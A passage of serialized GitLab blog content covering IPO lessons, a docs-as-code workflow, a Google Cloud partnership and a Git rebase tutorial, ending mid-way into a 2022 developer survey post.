jumping”](https://www.investopedia.com/terms/g/gunjumping.asp#:~:text=Gun%2Djumping%20flouts%20the%20rule,its%20IPO%20will%20be%20delayed.). This refers to selectively using financial information that has not been publicly announced. Delaying initial public offerings when companies are ready to go public can significantly disrupt innovation and the negative effects can last for years. One internet giant risked a delayed IPO when an interview granted to Playboy magazine months prior (disclosing key factors about their business) was later published during their quiet period. Another prominent San Francisco-based tech company had its IPO delayed when the CEO granted an interview for an article appearing in the New York Times that the SEC found to violate gun jumping rules. To minimize the risk of violating such laws and regulations, we followed best practices to limit statements to the IPO registration statement and vetted and approved press releases and started vetting our communications as though we were a public company months if not a full year or more before we actually went public. This is because during the IPO process the SEC may scrutinize every statement made by the company or individuals on the company’s behalf, even simple ones. The more communications, the greater the risk of saying something that shouldn’t be said.\nFor example, I couldn’t respond to people who sent their congratulations publicly on social media the day we listed. However, if you look at the [#EveryoneCanContribute hashtag](https://twitter.com/search?q=%23everyonecancontribute&src=typed_query), you’ll notice we did have a flurry of team member celebration tweets on October 14, 2021. To ensure compliance, celebration tweets were pre-written by our communications team and approved by our Legal team.\n\n![GitLab branding in NYC](https://about.gitlab.com/images/blogimages/nycnasdaq.jpg){: .shadow} \nGitLab branding outside the Nasdaq building in Times Square\n{: .note.text-center}\n\n## Setting the IPO in Motion \n\nOur banking partners who were experienced in IPOs commented that it was one of the most efficient S-1 drafting processes that they’ve seen. We were happy that this process, which typically takes six months, happened in four. To set up a right foundation for a successful IPO requires that the right processes and people (internally and externally) are in place:\n\n**Be transparent with Directors and Officers (D&O) insurance providers**. Directors and Officers insurance is expensive and the institutions which provide these services bid for your business after learning about your company through their own research as well as presentations and time spent with company representatives, usually from the Legal and Finance teams. We were unsure how our transparency would be perceived by the D&O insurers. However, our public [handbook](https://handbook.gitlab.com/) made it easier for D&O insurance providers to understand our business and processes. The GitLab Legal team created a bug bounty program that gave all team members a way to contribute to public company readiness by assisting in spotting and fixing “bugs” in our handbook. Bug bounty participants were rewarded with company swag. \n\n**Some board members might leave you**. Once a company IPOs, board members are subject to restrictions on their overall trading activities (e.g. tighter trading windows) with regard to the company’s stock. Due to these restrictions, earlier board members/investors may shift off the board, as new board members come on. This can add fresh perspectives on the board and help guide the company during the important post-IPO growth stage\n\n**Analysts depend on the bank you pick**. Banks that help with IPOs will make [analysts available](https://www.investopedia.com/articles/financialcareers/11/sell-side-buy-side-analysts.asp) to cover your company. Therefore, we looked for banks that were associated with analysts whom we wanted to cover GitLab. This is significant as it supports increased brand and marketing awareness. Once that’s determined, you should consider analyst coverage when selecting additional banks to help with your IPO. \n\n**Lead-left bank**. The lead-left bank, also called the managing underwriter, is listed first among the other underwriters, in the upper left-hand corner of the cover page of the S-1 filing. In our case it is Goldman Sachs per our [S1 cover page](https://www.sec.gov/Archives/edgar/data/1653482/000162828021018818/gitlab-sx1.htm#:~:text=Employer%20Identification%20Number). Getting left placement is a big deal because it means the bank receives the largest percentage of the deal allocation and generally leads the process from the banking side. Their industry reputation reflects on the company choosing them for this role. You will have several other banks involved to spread the risk of underwriting, reduce single bank exposure, and lower financial commitment to the IPO.\n\n**SAFE Framework**. We worked hard to educate team members early on to ensure they were empowered to make responsible decisions as a public company. Our SAFE framework is an acronym and mnemonic for how team members should think about transparency and what they can share publicly. (It stands for Sensitive, Accurate, Financial, and Effect.) GitLab team members have embraced the [SAFE Framework](https://handbook.gitlab.com/handbook/legal/safe-framework/) including creating a SAFE Slack channel staffed by our Legal team where team members can seek answers as well as flag things that are of concern. In terms of company communications, when we want to keep something internal, we say, “Keep this information SAFE.” We’ll also put this flag in decks, videos, Slack messages, and other communications. It is also a required part of our onboarding and training process. We’ve even created a SAFE Slack emoji:\n\n![:safe-tanuki:](https://about.gitlab.com/images/blogimages/safetanuki.png)\n\n**Reg FD training**. In addition to our SAFE framework, to prepare our team members we also took into account that we are a geographically diverse group, with more than a third of our company based outside of the U.S. We wanted to be mindful that not everyone would be familiar with U.S. Securities laws and may not understand some of the requirements GitLab would be subject to as a public company. This is why we created and had all team members go through Regulation Fair Disclosure (Reg FD) training as well as How to Avoid Insider Trading training. (We also have this training set up to recur annually.) We are not aware of another company that trains their entire company on Reg FD, as it is usually just provided to certain individuals who are authorized to speak on behalf of the company. \n\n**Timing an IPO**. The timing of an IPO requires a mixture of art and science. There are a number of conversations between the company’s retained investment bankers and buy side investors surrounding market conditions. An element of this involves the company’s investment bankers learning in which types of companies these investors may be interested. For example, if the growth rate of a potential new IPO is less than X, and/or the new IPO is unprofitable, then there may be no appetite for that particular IPO and naturally, a better outlook would likely inspire greater interest. Through continuous conversations, overall investor appetite is gleaned. Then it comes down to picking a specific day of the week and time of year, avoiding holidays. Companies must consider a time in which the most investors are available and paying attention. IPO days typically take place Tuesday through Thursday. And they don’t tend to be priced in the summer as investors are usually on vacation and not paying as much attention to the market. Labor Day through Thanksgiving is a popular time for IPOs. You also want to be mindful of the timing of your IPO relative to quarterly results as you want investors to consider your next fiscal year as the basis of valuing your company.\n\nWhen choosing a date for GitLab, we knew if we waited until after October 31, 2021, we would need to re-file, because of the filing date of our S-1 filing. We took all of these factors into consideration and chose October 14, 2021, as our IPO day. The date was serendipitous as GitLab’s [Friends & Family Day](https://handbook.gitlab.com/handbook/company/family-and-friends-day/) took place on Friday, October 15, 2021, and the company was also celebrating its 10 year anniversary in that time frame since the first commit to the GitLab open source project took place on October 8, 2011.\n\n**Bring down call.** Each time a company is about to file an amended Form S-1, investment bankers and attorneys gather on a “bring down” call. During this call, attorneys will ask a series of questions about material information, permissions, security, risks, concerns, etc., with the goal to achieve an “all clear.” With each new call, they’ll ask if the company has anything materially new to disclose. This was all done remotely.\n\n**Securing the Opening Bell.** Choosing the opening bell is generally preferred over the closing bell to provide a full day of celebration. We approached our listing day as a marketing event and a way to celebrate with team members and contributors globally, so securing the opening bell was important. This would allow us to reach the maximum amount of time zones. If you have a date in mind and stick with that date in the days leading up to the listing, you’ll be more likely to attain the opening vs. closing bell. \n\nWhile the timing at the moment for IPOs may not be in many companies’ favor, I know many amazing companies have been founded during times of economic uncertainty, such as Electronic Arts (1982) and Slack (2009). I’m looking forward to seeing the next generation of innovative ideas come to market and experience the same growth and excitement that we were able to capture and I hope that this educational series may help them when the time is right.\n\nThank you again, sincerely, to everyone who helped us along the road.\n",[676,277,736],{"slug":12194,"featured":6,"template":678},"one-third-of-what-we-learned-about-ipos-in-taking-gitlab-public","content:en-us:blog:one-third-of-what-we-learned-about-ipos-in-taking-gitlab-public.yml","One Third Of What We Learned About Ipos In Taking Gitlab Public","en-us/blog/one-third-of-what-we-learned-about-ipos-in-taking-gitlab-public.yml","en-us/blog/one-third-of-what-we-learned-about-ipos-in-taking-gitlab-public",{"_path":12200,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":12201,"content":12207,"config":12215,"_id":12217,"_type":16,"title":12218,"_source":17,"_file":12219,"_stem":12220,"_extension":20},"/en-us/blog/five-fast-facts-about-docs-as-code-at-gitlab",{"title":12202,"description":12203,"ogTitle":12202,"ogDescription":12203,"noIndex":6,"ogImage":12204,"ogUrl":12205,"ogSiteName":1180,"ogType":1181,"canonicalUrls":12205,"schema":12206},"Five fast facts about docs as code at GitLab","Here are five fast facts about how GitLab technical writers use GitLab in a docs-as-code workflow.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749660257/Blog/Hero%20Images/pen.jpg","https://about.gitlab.com/blog/five-fast-facts-about-docs-as-code-at-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Five fast facts about docs as code at GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Suzanne Selhorn\"},{\"@type\":\"Person\",\"name\":\"Susan Tacker\"},{\"@type\":\"Person\",\"name\":\"Diana Logan\"}],\n        \"datePublished\": \"2022-10-12\",\n      }",{"title":12202,"description":12203,"authors":12208,"heroImage":12204,"date":12212,"body":12213,"category":8943,"tags":12214},[12209,12210,12211],"Suzanne Selhorn","Susan Tacker","Diana Logan","2022-10-12","\n\nAt GitLab, we use GitLab as our single platform to document GitLab by using a “docs-as-code” workflow. Sound confusing? \n\nThe GitLab technical writing team uses GitLab to plan, create, review, edit, and publish the [GitLab documentation](http://docs.gitlab.com). And because we use the docs-as-code workflow, we can produce a large amount of content with a small, passionate, efficient team.\n\nIf you aren’t familiar with docs as code, here’s a quick definition: \n\n[Docs as code](https://idratherbewriting.com/trends/trends-to-follow-or-forget-docs-as-code.html#what-is-docs-as-code) is a way to develop and publish product documentation. It uses the same tools and processes as software code development, placing the documentation files along with the code files in a repository for version control. \n\nIf you are wondering whether your organization could adopt a docs-as-code workflow in GitLab, read on for five fast facts that help explain how our team does it.\n\n## We use GitLab to plan both GitLab features and docs content updates\n\nOur product managers, UX designers, engineers, and quality assurance teams work together to plan our feature work. Maybe when you’re planning releases, you use a Kanban board, or you create issues in a third-party tool.\n\nAt GitLab, we use epics and [issues](https://gitlab.com/gitlab-org/technical-writing/-/issues/680) to plan our work, and [issue boards](https://gitlab.com/groups/gitlab-org/-/boards/4340643?label_name%5B%5D=Category%3ADocs%20Site) to track our progress. We value transparency, so all of this information is available to everyone, including discussions about planning. The tech writing team has visibility into the status of development at any time.\n\n![planning issue](https://about.gitlab.com/images/blogimages/planning_issue.png)\n\nIf we have larger doc efforts, we track them in GitLab, make the changes by using GitLab, and mark issues as done in GitLab. If a year passes and we want to remember why we made a change, we search GitLab and find who made the change and why. If you’re working in many different tools right now, imagine what it would be like to view everything in one place. Everything feels faster and more efficient. You skip the time you’d normally spend going through emails and websites and Slack to find lost discussions. It’s all here in GitLab.\n\nAnd if you love your wiki and don’t want to go without it, we have a wiki feature too.\n\n## We use GitLab to give and receive feedback on the docs\n\nIf you’ve been a writer for any amount of time, you know what a pain it can be to get people to review your content.\n\nAt GitLab, our developers write the first draft of content for all our new features. They save the content in the same repository as their code. Feature documentation is part of our development “definition of done.” They assign the draft content to our writers, who review it, add suggestions, and send their ideas and edits back to the authors.\n\nThe writers themselves also open merge requests (MRs) for content changes. And no matter who opens the MR (the writer, a developer, a support engineer, a community contributor), we all have the ability to easily comment on each other’s work.\n\nIn a merge request, it’s as simple as selecting a Suggestion button. You can comment on one line or several. You can provide changes or edits, and the person who authored the merge request can easily apply your change, or create their own competing suggestion, and you can discuss it. To invite others to the conversation, you can type their username in a comment, and they see your comment as a to-do item in GitLab. In this way, you can discuss any change. It’s transparent and inclusive.\n\n![making a suggestion](https://about.gitlab.com/images/blogimages/suggestion.png)\n\nBecause the doc content is in markdown, which is similar to plain text, it’s easy to view the differences between file versions, and to see who committed which change.\n\nMaybe you’ve worked in places where reviews were done in PDFs, or Word docs, or Google docs with comments. When you try this workflow, you'll see how much more efficient the process is. No one is passing around outdated versions of documents. No one is making updates that inadvertently wipe out someone else’s comments.\n\nAnd if anyone ever wants to know why we made a change, it’s easy to view the history of the page or even view who is to “blame” for a specific line. \n\n![who to blame?](https://about.gitlab.com/images/blogimages/blame.png)\n\nYou don’t have to store versions of a PDF document and try to search for who suggested which change. It’s all in GitLab.\n\n## We use GitLab to preview the docs content\n\nAt GitLab, we have tools to generate the docs site content locally, but you can also easily share a view of the docs site right from a merge request. If you’re playing with an idea and you want to show someone, you open a merge request, generate what we call “a review app” and voila, the changed docs site is available at a publicly available URL.\n\n![the review app](https://about.gitlab.com/images/blogimages/view_app.png)\n\nYour changes are visible, and you can iterate on them or commit as-is. Which brings us to another one of the most useful features we have at GitLab.\n\n## We use GitLab to test every content change\n\nMaybe you’re using a third-party tool to test the links in your docs, or to check spelling and grammar rules.\n\nWe are using third-party tools (Nanoc for links, Vale for spelling and grammar), but like everything else, these tools can be incorporated into GitLab, and into the writer workflow.\n\nEach writer has our tools installed locally and can view everything, from the document’s reading level to passive and active voice fixes on their local machine. But for those contributors who don’t have the toolset, we run a version of our tests in a pipeline as part of every commit.\n\n![a lint error](https://about.gitlab.com/images/blogimages/lint_error_2.png)\n\nIf you’re a developer and you don’t consider yourself to be an expert writer, you might find that the pipeline failed on your merge request because of an important grammar or branding rule. We’ve defined a list of many rules, and assigned levels of importance to them. So not only do we have a [style guide](https://docs.gitlab.com/ee/development/documentation/styleguide/) and [word list](https://docs.gitlab.com/ee/development/documentation/styleguide/word_list.html), but we also run tests to ensure our content doesn’t stray too far from those rules.\n\n## We use GitLab to generate the HTML output and we host the output on GitLab Pages\n\nOur CI/CD pipeline converts our markdown content and compiles it into HTML. Then we host this output on GitLab Pages, at the [docs.gitlab.com](http://docs.gitlab.com) website.\n\n![the pipeline](https://about.gitlab.com/images/blogimages/pipeline2.png)\n\nHaving the output generated by a pipeline means that we can update the docs site whenever we want. While the product is released once a month, we update the docs site once every hour. That means docs.gitlab.com always contains the most up-to-date content available, sometimes even pre-release information. Since the development planning and implementation issues are typically open to the public as part of our transparency value, pre-announcing features isn’t an issue. \n\nSo as you can see, for a multitude of reasons, we love our docs-as-code workflow. It can be an adjustment to transition to one tool for all of your doc needs, but GitLab supports the full writer workflow, no matter who writes your content. And we know, because we’ve been using it for years. \n\nLearn more about the tech writing docs-as-code work at GitLab:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/ZlabtdA-gZE\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nTo learn more about contributing to our open source documentation, check out our instructions in “[How to update the docs](https://docs.gitlab.com/ee/development/documentation/workflow.html#how-to-update-the-docs).” We welcome your contributions!\n",[7715,2704,676],{"slug":12216,"featured":6,"template":678},"five-fast-facts-about-docs-as-code-at-gitlab","content:en-us:blog:five-fast-facts-about-docs-as-code-at-gitlab.yml","Five Fast Facts About Docs As Code At Gitlab","en-us/blog/five-fast-facts-about-docs-as-code-at-gitlab.yml","en-us/blog/five-fast-facts-about-docs-as-code-at-gitlab",{"_path":12222,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":12223,"content":12228,"config":12232,"_id":12234,"_type":16,"title":12235,"_source":17,"_file":12236,"_stem":12237,"_extension":20},"/en-us/blog/take-our-survey-on-collaborative-software-development",{"title":12224,"description":12225,"ogTitle":12224,"ogDescription":12225,"noIndex":6,"ogImage":6704,"ogUrl":12226,"ogSiteName":1180,"ogType":1181,"canonicalUrls":12226,"schema":12227},"Take our survey on collaborative software development!","If you have 4 minutes, we'd love to hear about how your organization collaboratively develops software.","https://about.gitlab.com/blog/take-our-survey-on-collaborative-software-development","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Take our survey on collaborative software development!\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2022-10-12\",\n      }",{"title":12224,"description":12225,"authors":12229,"heroImage":6704,"date":12212,"body":12230,"category":962,"tags":12231},[711],"\u003Cdiv data-tf-widget=\"hYFvwmA0\" data-tf-iframe-props=\"title=How collaborative is your software organization?\" data-tf-medium=\"snippet\" style=\"width:100%;height:400px;\">\u003C/div>\u003Cscript src=\"//embed.typeform.com/next/embed.js\">\u003C/script>\n",[4103],{"slug":12233,"featured":6,"template":678},"take-our-survey-on-collaborative-software-development","content:en-us:blog:take-our-survey-on-collaborative-software-development.yml","Take Our Survey On Collaborative Software Development","en-us/blog/take-our-survey-on-collaborative-software-development.yml","en-us/blog/take-our-survey-on-collaborative-software-development",{"_path":12239,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":12240,"content":12246,"config":12253,"_id":12255,"_type":16,"title":12256,"_source":17,"_file":12257,"_stem":12258,"_extension":20},"/en-us/blog/accelerate-cloud-adoption-with-gitlabs-open-source-partnership-with-google-cloud",{"title":12241,"description":12242,"ogTitle":12241,"ogDescription":12242,"noIndex":6,"ogImage":12243,"ogUrl":12244,"ogSiteName":1180,"ogType":1181,"canonicalUrls":12244,"schema":12245},"GitLab & Google Cloud partnership accelerates cloud adoption","Learn how Cloud Seed came about and how it will help speed app modernization.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749665811/Blog/Hero%20Images/daytime-clouds.jpg","https://about.gitlab.com/blog/accelerate-cloud-adoption-with-gitlabs-open-source-partnership-with-google-cloud","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Accelerate cloud adoption with GitLab's open source partnership with Google Cloud\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sri Rangan\"}],\n        \"datePublished\": \"2022-10-11\",\n      }",{"title":12247,"description":12242,"authors":12248,"heroImage":12243,"date":12250,"body":12251,"category":813,"tags":12252},"Accelerate cloud adoption with GitLab's open source partnership with Google Cloud",[12249],"Sri Rangan","2022-10-11","\nSince December 2021, GitLab Incubation has partnered with Google Cloud to develop\nsolutions that will help customers address one of their biggest business requirements: accelerating cloud adoption.\n\nWe are thrilled to announce the release of Cloud Seed at Google Cloud Next 2022,\nand we are even more excited to follow up with our community. Cloud Seed is an open\nsource partnership between GitLab and Google Cloud to accelerate cloud adoption and\napp modernization.\n\nThe origins of Cloud Seed date back to late 2020 when I worked closely with GitLab co-founder and CEO [Sid Sijbrandij]( /company/team/#sytses) on an experiment called “5 Minute Production\". Our focus was to improve developer experience while consuming cloud services and enabling DevSecOps best practices by default.\n\nFor this, GitLab needed to collaborate with the hyper clouds, and Google Cloud emerged as our natural choice. In this post I’d like to shed light on our collaboration, the results our partnership has achieved, and the positive business outcomes our customers will realize.\n\n## Refining the use case\n\nFirst, we reached out and polled our customers to try and understand their cloud adoption use cases. \n\nWe found the enterprise market segment focused on migrating existing systems to the cloud to achieve their digital transformation targets, while the SMB and startup segment focused on embracing the cloud for greenfield initiatives.\n\n## Cloud Run and Cloud SQL\n\nWhile motivations for enterprise and SMB segments varied, the underlying use case —– deploying web applications to the cloud —– remained the same. Thus, we selected two of the more popular Google Cloud managed services that web applications make use of: [Cloud Run](https://cloud.google.com/run) and [Cloud SQL](https://cloud.google.com/sql).\n\nCloud Run makes it possible to build and deploy scalable containerized apps written in any language (including Go, Python, Java, Node.js, .NET, and Ruby) on a fully managed platform. Meanwhile, Cloud SQL is a fully managed relational database service for MySQL, PostgreSQL, and SQL Server with rich extension collections, configuration flags, and developer ecosystems.\n\n## Open source collaboration\n\nGitLab comes with a rich tradition of [open source](/solutions/open-source/). Our partners at Google Cloud understood and complemented that remarkably, which made for a close collaboration between our two teams. We agreed quite early in the process that all capabilities built within Cloud Seed will be open source and, therefore, available for all GitLab users regardless of their market segment, license tier, or any other consideration.\n\n## Preview environments on Cloud Run\n\nThe Cloud Seed private beta was made available to trusted testers in May 2022, and based on the successful beta program, Preview Environments with GitLab and Cloud Run emerged among the most popular use cases.\n\n**Take a look at Preview Environments on GitLab with Cloud Seed:**\n\n\u003Ciframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/zDMGCyAgCPY\" title=\"Preview Environments on GitLab with Cloud Seed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen>\u003C/iframe>\n\nMost Git-based development workflows make use of temporary feature branches. In larger teams and organizations, it is required that feature branches are made available for review and testing.\n\nWith Cloud Seed, a Cloud Run deployment pipeline can be generated in less than two minutes that deploys all feature branches to Cloud Run. Given Cloud Run’s free tier, this can be a cost-effective method to deploy and manage preview environments.\n\n## Relational databases with Cloud SQL\n\nAnother common use case, typically in the app migration scenario, is to set up and migrate relational databases in the cloud. Our beta-test users voted for Cloud SQL as their most popular data storage option among a myriad of Google Cloud services.\n\nWith Cloud Seed, traditional relational databases such as Postgres, MySQL, and SQL Server can be spun up from the GitLab web UI. Similar to the Cloud Run workflow described above, these database instances can be made branch, tag, and environment specific. Alternatively, a GitLab project can be spun up for database operations, where Cloud Seed creates a suitable Cloud SQL instance while the Git repository serves as the host for configuration and migration operations.\n\n## Looking ahead\n\nOur purpose is clear: We learn from our users and customers about their use cases and needs, and we build capabilities to support them through their cloud adoption journeys. We are thrilled to announce the release of Cloud Seed at [Google Cloud Next '22](https://cloud.withgoogle.com/next), and we are even more excited to follow up with our community. Connect with us @OpenCloudSeed on Twitter and try out Cloud Seed today at GitLab.com.\n",[282,815,3949],{"slug":12254,"featured":6,"template":678},"accelerate-cloud-adoption-with-gitlabs-open-source-partnership-with-google-cloud","content:en-us:blog:accelerate-cloud-adoption-with-gitlabs-open-source-partnership-with-google-cloud.yml","Accelerate Cloud Adoption With Gitlabs Open Source Partnership With Google Cloud","en-us/blog/accelerate-cloud-adoption-with-gitlabs-open-source-partnership-with-google-cloud.yml","en-us/blog/accelerate-cloud-adoption-with-gitlabs-open-source-partnership-with-google-cloud",{"_path":12260,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":12261,"content":12267,"config":12272,"_id":12274,"_type":16,"title":12275,"_source":17,"_file":12276,"_stem":12277,"_extension":20},"/en-us/blog/take-advantage-of-git-rebase",{"title":12262,"description":12263,"ogTitle":12262,"ogDescription":12263,"noIndex":6,"ogImage":12264,"ogUrl":12265,"ogSiteName":1180,"ogType":1181,"canonicalUrls":12265,"schema":12266},"Take advantage of Git rebase","Tap into the Git rebase features to improve your workflow.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749665560/Blog/Hero%20Images/speedmonorepo.jpg","https://about.gitlab.com/blog/take-advantage-of-git-rebase","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Take advantage of Git rebase\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Christian Couder\"}],\n        \"datePublished\": \"2022-10-06\",\n      }",{"title":12262,"description":12263,"authors":12268,"heroImage":12264,"date":12269,"body":12270,"category":734,"tags":12271},[3145],"2022-10-06","\n\nThese days, developers spend a lot of time reviewing merge requests\nand taking these reviews into account to improve the code. We'll discuss how\n[Git rebase](https://git-scm.com/docs/git-rebase) can help in\nspeeding up these review cycles. But first, let's take a look at some\nworkflow considerations.\n\n## Different ways to rework a merge request\n\nA developer who worked on some code changes and created a merge\nrequest with these changes will often have to rework them. Why does\nthis happen? Tests can fail, bugs are found, or reviewers suggest\nimprovements and find shortcomings.\n\n### Simple but messy method: add more commits\n\nOne way to rework the code changes is to make more changes in some new\ncommits on top of the branch that was used to create the merge\nrequest, and then push the branch again to update the merge\nrequest.\n\nWhen a number of commits have been added in this way, the merge\nrequest becomes problematic:\n\n- It's difficult to review by looking at all the changes together.\n- It's difficult to review the commits separately as they may contain different unrelated changes, or even multiple reworks of the same code.\n\nReviewers find it easier to review changes split into a number of small,\nself-contained commits that can be reviewed individually.\n\n### Pro method: rebase!\n\nA better method to prepare or rework a merge request is to always\nensure that each commit contains small, self-contained, easy-to-review\nchanges.\n\nThis means that all the commits in the branch may need reworking\ninstead of stacking on yet more commits. This approach might seem much\nmore complex and tedious, but `git rebase` comes to the rescue!\n\n## Rework your commits with `git rebase`\n\nIf your goal is to build a merge request from a series of small,\nself-contained commits, your branch may need significant rework before its\ncommits are good enough. When the commits are ready, you can push the branch\nand update or create a merge request with this branch.\n\n### Start an interactive rebase\n\nIf your branch is based on `main`, the command to rework your branch\nis:\n\n```plaintext\ngit rebase -i main\n```\n\nI encourage you to create [a Git alias](https://git-scm.com/book/en/v2/Git-Basics-Git-Aliases),\nor a shell alias or function for this command right away, as you will\nuse it very often.\n\nThe `-i` option passed to `git rebase` is an alias for\n`--interactive`. It starts\n[an 'interactive' rebase](https://git-scm.com/docs/git-rebase#Documentation/git-rebase.txt---interactive)\nwhich will open your editor. In it, you will find a list of the\ncommits in your branch followed by commented-out lines beginning with\n`#`. The list of commits looks like this:\n\n```plaintext\npick 1aac632db2 first commit subject\npick a385014ad4 second commit subject\npick 6af12a88cf other commit subject\npick 5cd121e2a1 last commit subject\n```\n\nThese lines are instructions for how `git rebase` should handle these\ncommits. The commits are listed in chronological order, with the\noldest commit at the top. (This order is the opposite of the default\n`git log` order.) What do these lines contain?\n\n- An instruction (here, `pick`) that tells Git what action to take\n- An abbreviated commit ID\n- A commit subject to help you identify the commit contents\n\n### Edit the instruction list\n\nYou can edit these instructions! When you quit your text editor, `git rebase`\nreads the instructions you've just edited, and performs them\nin sequence to recreate your branch the way you want.\n\nAfter the instructions for all commits, a set of commented-out lines\nexplain how to edit the instruction lines, and how each instruction\nwill change your branch:\n\n- If you **delete a commit's entire instruction line** from the list,\n  that commit won't be recreated.\n- If you **reorder the instruction lines**, the commits will be\n  recreated in the order you specify.\n- If you **change the action** from `pick` to something else, such as\n  `squash` or `reword`, Git performs the action you specify on that\n  commit.\n- You can even **add new instruction lines** before, after, or between\n  existing lines.\n\nIf the comment lines aren't enough, more information about what you\ncan do and how it works is available in:\n\n- The [Git Tools - Rewriting History](https://git-scm.com/book/en/v2/Git-Tools-Rewriting-History)\n  section of the \"Pro Git\" book\n- The [Interactive mode](https://git-scm.com/docs/git-rebase#_interactive_mode)\n  section of the `git rebase` documentation\n\n### Continue or abort the rebase\n\nAn interactive rebase can stop if there is a conflict (as a regular\nrebase would) or if you used an instruction like `edit` in the\ninstruction line. This allows you to make some changes, like splitting\nthe current commit into two commits, or fixing the rebase conflict if\nthere is one. You can then either:\n\n- Continue the interactive rebase with `git rebase --continue`.\n- Abort the rebase altogether with `git rebase --abort`.\n\n(These `git rebase` options also work when a regular, non-interactive\nrebase stops.)\n\n## Further tips and benefits\n\n### Try different instructions\n\nI recommend you try out the different instructions you can use in\neach instruction line, especially `reword`, `edit`, `squash`, and `fixup`. You'll\nsoon want to use the abbreviated versions of these instructions: `r`,\n`e`, `s`, and `f`.\n\n### Run shell commands in your rebase\n\nYou might also have noticed an `exec \u003Ccommand>` instruction that\nallows you to run any shell command at any point in the interactive rebase.\nI've found it more useful for non-interactive rebases, such as:\n\n```plaintext\ngit rebase --exec 'make test' main\n```\n\n(It's not an interactive rebase because it doesn't contain the `-i` flag.)\n\nThe `--exec \u003Ccommand>` flag allows you to run any shell command after\neach rebased commit, stopping if the shell command fails (which is\nsignaled by a non zero exit code).\n\n### Test all your commits\n\nPassing a command to build your software and run its tests, like\n`make test`, to `--exec` will check that each commit in your branch\nbuilds correctly and passes your tests.\n\nIf `make test` fails, the rebase stops. You can then fix the current\ncommit right away, and continue the rebase to test the next\ncommits.\n\nChecking each commit builds cleanly and passes all the tests ensures\nyour code base is always in a good state. It's especially useful if\nyou want to take advantage of\n[Git bisect](https://git-scm.com/docs/git-bisect) when you encounter\nregressions.\n\n## Conclusion\n\nIn Git, a rebase is a very versatile and useful tool to rework\ncommits. Use it to achieve a workflow with high-quality changes\nproposed in high-quality commits and merge requests. It makes your\ndevelopers and reviewers more efficient. Code reviews and debugging also become easier and more effective.\n\n**EDIT:** Check out our [follow-up post on how you can apply this is real life](/blog/rebase-in-real-life/).\n",[1067,1444,774,696],{"slug":12273,"featured":6,"template":678},"take-advantage-of-git-rebase","content:en-us:blog:take-advantage-of-git-rebase.yml","Take Advantage Of Git Rebase","en-us/blog/take-advantage-of-git-rebase.yml","en-us/blog/take-advantage-of-git-rebase",{"_path":12279,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":12280,"content":12286,"config":12291,"_id":12293,"_type":16,"title":12294,"_source":17,"_file":12295,"_stem":12296,"_extension":20},"/en-us/blog/the-top-software-developer-challenges-in-2022",{"title":12281,"description":12282,"ogTitle":12281,"ogDescription":12282,"noIndex":6,"ogImage":12283,"ogUrl":12284,"ogSiteName":1180,"ogType":1181,"canonicalUrls":12284,"schema":12285},"The top software developer challenges in 2022","From AI to hiring, security breaches and Covid, our 2022 Global DevSecOps Survey uncovered the top software developer challenges.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749668107/Blog/Hero%20Images/global-developer-survey.png","https://about.gitlab.com/blog/the-top-software-developer-challenges-in-2022","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"The top software developer challenges in 2022\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Valerie Silverthorne\"}],\n        \"datePublished\": \"2022-10-05\",\n      }",{"title":12281,"description":12282,"authors":12287,"heroImage":12283,"date":12288,"body":12289,"category":962,"tags":12290},[11618],"2022-10-05","\nIn our 2022 Global DevSecOps Survey we asked developers about the most difficult parts of their jobs, a question that’s been answered in previous years with comments about tricky toolchain integrations, complex programming languages and business-side folks who \"just don’t get it.”\n\nBut apparently this year *we* didn’t get it: [More than 5,000 respondents](/developer-survey/) told us they were worried about the inability to hire and retain talent, the economy and the post-Covid world they’re expected to work in. They are also concerned about adoption of complex technologies such as artificial intelligence, 5G and edge computing, and the fear of/responsibility for security breaches and what that would mean to their organizations.\n\n(That sound you hear in the background is the shattering of the “devs are oblivious to business” stereotype.)\n\nObviously a tectonic shift in the developer role is underway.\n\n“Two massive waves are crashing against each other right now,” explains [Brendan O’Leary](/company/team/#brendan), staff developer evangelist at GitLab. “One wave is developers as kingmakers. We were ‘brought into the palace’ because every company needed to have software as its core competency and the pendulum swung toward developers. But the other wave is the massive correction in the market. These two things happening at the same time are putting a huge squeeze on businesses and developers.”\n\nA [longstanding shortage of software developers](https://www.forbes.com/sites/forbestechcouncil/2021/06/08/is-there-a-developer-shortage-yes-but-the-problem-is-more-complicated-than-it-looks/?sh=215d08f33b8e) has been made worse by macroeconomic conditions, but demand for software isn’t decreasing despite the market upheaval, O'Leary adds. The result is devs at the center of nearly all the most difficult challenges today, from [hiring](/blog/6-tips-to-make-software-developer-hiring-easier/) to [security breaches](/blog/gitlabs-2022-global-devsecops-survey-security-is-the-top-concern-investment/) and new technologies. \n\nTo put it another way: “We can’t be flippant about any part of the job anymore,” he adds.\n\nHere’s a look at what is keeping developers up at night.\n\n### Security\n\nMore than 1,000 respondents said all of the issues around security make their jobs infinitely more difficult and 